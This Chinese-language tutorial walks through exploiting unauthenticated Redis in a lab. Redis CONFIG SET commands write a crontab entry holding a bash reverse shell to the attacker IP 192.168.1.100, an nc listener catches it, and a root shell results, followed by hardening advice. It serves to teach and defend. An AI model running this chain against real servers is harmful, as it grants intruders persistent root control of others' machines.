Redis未授权访问漏洞实战:利用计划任务实现反弹Shell

在当今的网络安全攻防对抗中,数据库服务的安全配置是至关重要的一环。Redis,作为一款高性能的内存数据库,因其默认开放端口和可能存在的无密码认证配置,常常成为攻击者的首要目标。本文将深入探讨 Redis未授权访问漏洞,并详细演示如何通过写入Linux计划任务(crontab)来实现反弹Shell,帮助开发者和运维人员深刻理解此漏洞的危害性,并采取有效措施进行防范。

Redis未授权访问漏洞实战:利用计划任务实现反弹Shell

核心摘要: 当Redis以root权限运行且未设置密码时,攻击者可利用其CONFIG SET命令动态修改数据存储路径(dir)和文件名(dbfilename),进而将恶意代码写入系统关键位置。本文重点介绍“写入计划任务”这一经典攻击手法,实现对目标服务器的持久化控制。

 漏洞成因与危害

1.1 什么是Redis未授权访问?

Redis默认监听在 0.0.0.0:6379 端口。如果管理员没有进行以下安全加固:

  • 未绑定特定IP:未通过 bind 配置项限制只允许内网或可信IP访问。

  • 未设置密码认证:未在 redis.conf 中配置 requirepass 选项。

就会导致Redis服务直接暴露在公网或内网中,任何能够连接到该端口的用户都可以无需密码地执行任意Redis命令,从而获得对Redis实例的完全控制权。

1.2 漏洞影响范围

  • 影响版本: Redis 2.x, 3.x, 4.x, 5.x (高版本若配置不当依然存在风险)

  • 必要条件

    1. Redis服务存在未授权访问或弱密码。

    2. Redis服务以root权限启动(这是获取高权限Shell的关键)。

    3. 目标服务器开启了SSH服务(对于某些利用方式是必需的)。

一旦满足条件,攻击者即可通过多种方式GetShell,包括:

  • 写入WebShell: 知道网站绝对路径后,将一句话木马写入Web目录。

  • 写入SSH公钥: 将攻击者的公钥写入 /root/.ssh/authorized_keys,实现免密登录。

  • 写入计划任务(Crontab): 利用系统的定时任务功能,定期执行反弹Shell指令。

本文将聚焦于第三种方法——写入计划任务反弹Shell,因为它不依赖于已知的网站路径,适用性更广。

 攻击原理:利用Crontab实现反弹

Linux系统的crontab用于周期性地执行指定任务。每个用户的计划任务都存储在 /var/spool/cron/ 目录下,对应文件名为用户名(如root用户的任务文件为 /var/spool/cron/root)。

攻击思路

  1. 攻击者连接到未授权的Redis服务。

  2. 使用 CONFIG SET dir /var/spool/cron/ 命令,将Redis的数据备份目录修改为root用户的crontab目录。

  3. 使用 CONFIG SET dbfilename root 命令,将备份的文件名设置为 root

  4. 向Redis中写入一个键值对,其值(value)包含一条能反弹Shell的Bash命令,并通过换行符确保格式正确。

  5. 执行 SAVE 或 BGSAVE 命令,强制Redis将当前数据(即我们写入的键值)序列化保存到指定路径的文件中。

  6. 这样,我们的恶意命令就成功写入了 /var/spool/cron/root 文件,成为root用户的定时任务。

  7. 等待系统cron守护进程按计划执行该任务,攻击者即可在监听端口上收到反弹回来的root权限Shell。

 实战演练:从0到1获取Shell

环境准备

  • 靶机 (Victim): CentOS 7.6,已安装并以root身份启动Redis服务(redis-server /etc/redis.conf),未设置密码。

  • 攻击机 (Attacker): Kali Linux,IP地址为 192.168.1.100

  • 工具: redis-clinc (netcat)。

攻击步骤

步骤1:确认漏洞存在

在Kali攻击机上,使用redis-cli连接靶机的6379端口。

1redis-cli -h <靶机IP>

如果连接成功且可以直接执行命令(如 INFO),则说明存在未授权访问漏洞。

步骤2:配置Redis写入路径

我们需要将Redis的持久化文件输出到root用户的crontab目录。

1# 设置数据目录为 crontab 的存储路径
2config set dir /var/spool/cron/
3
4# 设置持久化文件名为 root (对应root用户的计划任务)
5config set dbfilename root

步骤3:写入反弹Shell的定时任务

接下来,我们将构造一条能每分钟执行一次的反弹Shell命令,并将其写入Redis。

1# 写入一个键(名称随意,如 'shell'),其值为包含反弹命令的字符串
2set shell "\n\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.1.100/9999 0>&1\n\n\n"

命令解析

  • \n\n\n: 添加多个换行符,确保我们的任务不会与其他现有任务粘连,保证cron语法正确。

  • * * * * *: cron时间表达式,表示每分钟执行一次。

  • /bin/bash -i >& /dev/tcp/192.168.1.100/9999 0>&1: 这是核心的反弹Shell命令。

    • /bin/bash -i: 启动一个交互式的Bash Shell。

    • >& /dev/tcp/192.168.1.100/9999: 将Shell的标准输出和标准错误重定向到攻击机的9999端口。

    • 0>&1: 将标准输入也重定向过来,实现完整的交互。

步骤4:强制保存并等待连接

执行SAVE命令,强制Redis将内存中的数据同步到磁盘文件 /var/spool/cron/root 中。

1save

此时,我们的恶意任务已经写入系统。

步骤5:在攻击机上监听端口

在Kali攻击机上,使用netcat监听9999端口,等待Shell连接。

1nc -lvp 9999

稍等片刻(最多一分钟),如果一切顺利,你将在Kali的终端上看到来自CentOS靶机的root Shell提示符!这意味着你已经完全控制了这台服务器。

1# 攻击机监听结果示例
2Ncat: Listening on 0.0.0.0:9999
3Ncat: Connection from 192.168.1.200.
4Ncat: Connection from 192.168.1.200:51234.
5bash: no job control in this shell
6[root@centos ~]# id
7uid=0(root) gid=0(root) groups=0(root)

 安全加固建议

了解攻击手法是为了更好地防御。以下是针对Redis未授权访问漏洞的加固措施:

  1. 设置强密码: 在 redis.conf 中配置 requirepass your_strong_password

  2. 限制网络访问

    • 修改 bind 配置项,只绑定内网IP,例如 bind 127.0.0.1 192.168.1.10

    • 在服务器防火墙(如iptables, firewalld)中,仅允许特定IP访问6379端口。

  3. 避免以root权限运行: 创建专用的低权限用户来运行Redis服务。

  4. 修改默认端口: 虽然不能从根本上解决问题,但可以增加扫描难度。

  5. 禁用危险命令: 在 redis.conf 中使用 rename-command 指令重命名或禁用 CONFIGFLUSHALLSHUTDOWN 等高危命令。

  6. 使用SSL/TLS加密: 对于需要公网访问的场景,启用传输层加密。

  7. 定期审计与监控: 监控Redis的日志和系统计划任务文件,及时发现异常。

Redis未授权访问是一个典型的“低级错误导致严重后果”的安全案例。一个简单的配置疏忽,就可能让整个服务器沦陷。作为开发者和运维人员,我们必须时刻保持警惕,遵循最小权限原则,对每一个对外服务进行严格的安全评估。希望本文的实践分析能让你对此类漏洞有更直观的认识,从而在实际工作中构建更安全的系统环境。

记住:最好的防御,就是永远不要给攻击者留下可乘之机。

发表评论

评论列表

还没有评论,快来说点什么吧~